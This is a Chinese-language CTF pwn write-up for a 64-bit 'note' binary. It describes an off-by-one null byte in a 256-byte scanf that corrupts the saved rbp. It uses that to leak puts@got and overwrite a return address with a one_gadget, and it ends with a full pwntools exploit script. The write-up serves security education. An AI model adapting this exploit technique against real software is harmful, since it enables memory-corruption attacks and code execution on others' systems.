相关资源

文件分析

1
2
3
4
5
6
$ checksec note
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fd000)

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) {
char *v3; // rax
int option; // [rsp+Ch] [rbp-14h] BYREF
const char *v5; // [rsp+10h] [rbp-10h]
char *file_content; // [rsp+18h] [rbp-8h]

setup();
v5 = "%d";
open_file();
file_content = read_file();
menu();
while (1) {
printf("> ");
if ((int)_isoc99_scanf(v5, &option) <= 0)
break;
switch (option) {
case 1:
printf("Note:");
file_content = read256();
break;
case 2:
printf("Note:%s\n", file_content);
break;
case 3:
save_file(file_content);
puts("Saved!");
break;
case 4:
fclose(stream);
v3 = md5(ID);
unlink(v3);
open_file();
puts("Done!");
break;
case 5:
if (stream)
fclose(stream);
exit(0);
default:
puts("Invalid choice");
break;
}
}
exit(0);
}

其中19#read256 这里存在off_by_one 会在256个字符后写入一个0x00字节 也就是 old_rbp 的末尾

1
2
3
4
5
char *read256() {
char s[256]; // [rsp+0h] [rbp-100h] BYREF
_isoc99_scanf("%256s", s);
return strdup(s);
}

攻击方法

先填充0x100字节查看

1
2
3
4
5
6
0x007ffffb03c748│+0x0000: "hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh[...]"	 ← $rsp
[...]
0x007ffffb03c838│+0x00f0: "hhhhhhhhhhhhhhhh"
0x007ffffb03c840│+0x00f8: "hhhhhhhh"
0x007ffffb03c848│+0x0100: 0x007ffffb03c800
0x007ffffb03c850│+0x0108: 0x00000000400ef8 → mov QWORD PTR [rbp-0x8], rax

可以看到从748写到848,old_rbp被改写成800 也就是返回到main函数时,rbp为800,那么因为参数是基于rbp-0x??来获取的 因此我们在填充字节的时候可以按照偏移给main函数中的变量赋值

1
2
3
int option;         // [rsp+Ch] [rbp-14h] BYREF
const char *v5; // [rsp+10h] [rbp-10h]
char *file_content; // [rsp+18h] [rbp-8h]

v5原值为%d指针,我们可以改成%256s指针,读取option时在当前栈上写入内容

file_content可以改为puts@got 选项2时即可输出puts真实地址从而获取libc基地址

也就是748-7f0:b'h' 7f0-7f8:ptr_to_%256s 7f8-800:puts@got

那么下一次输入选项时 可以发送 int(2) + ptr_to_%256s + puts@got 来选择输出选项并保持栈上变量内容
得到libc基址后计算one_gadget

在下一次输入选项时 覆盖__isoc99_scanf的ret addr 为one_gadget (调试得到该ret addr与option地址偏移为0x64)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
import sys

pty = process.PTY
context(os='linux', arch='i386', log_level='debug')

mode = ''
if len(sys.argv) > 1:
mode = sys.argv[1]

proc = process("./note")
belf = ELF("./note")
libc = ELF("./libc.so.6")

def s(x): proc.send(x)
def sl(x): return proc.sendline(x)
def sla(x, y): return proc.sendlineafter(x, y)
def sa(x, y): return proc.sendafter(x, y)
def ru(x): return proc.recvuntil(x)
def rc(): return proc.recv()
def rl(): return proc.recvline()
def li(con): return log.info(con)
def ls(con): return log.success(con)
def pi(): return proc.interactive()
def pcls(): return proc.close()
def ga(): return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))

def edt(con):
sla(b'>', b'1')
sa(b'Note', con)

gscript = '''
b * 0x0000000000400DB6
b * 0x0000000000400F01
b * 0x0000000000400EF3
''' + 'c\n' * 0
if mode == '-d':
gdb.attach(proc, gdbscript=gscript)

a256s = 0x401129
gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

sla(b'ID:', b'1')
edt((b'h' * 0xa8 + p64(a256s) + p64(belf.got['puts'])).ljust(0x100, b'h')) # 布置栈上内容并off_by_one一个0x00字节
sla(b'>', p32(2) + p64(a256s) + p64(belf.got['puts']))
libc_base = ga() - libc.sym['puts']
ls(hex(libc_base))

sla(b'>', b'h' * 0x64 + p64(libc_base + gadgets[1])) # 覆盖__isoc99_scanf的 ret_addr

pi()
pause()
⬆︎TOP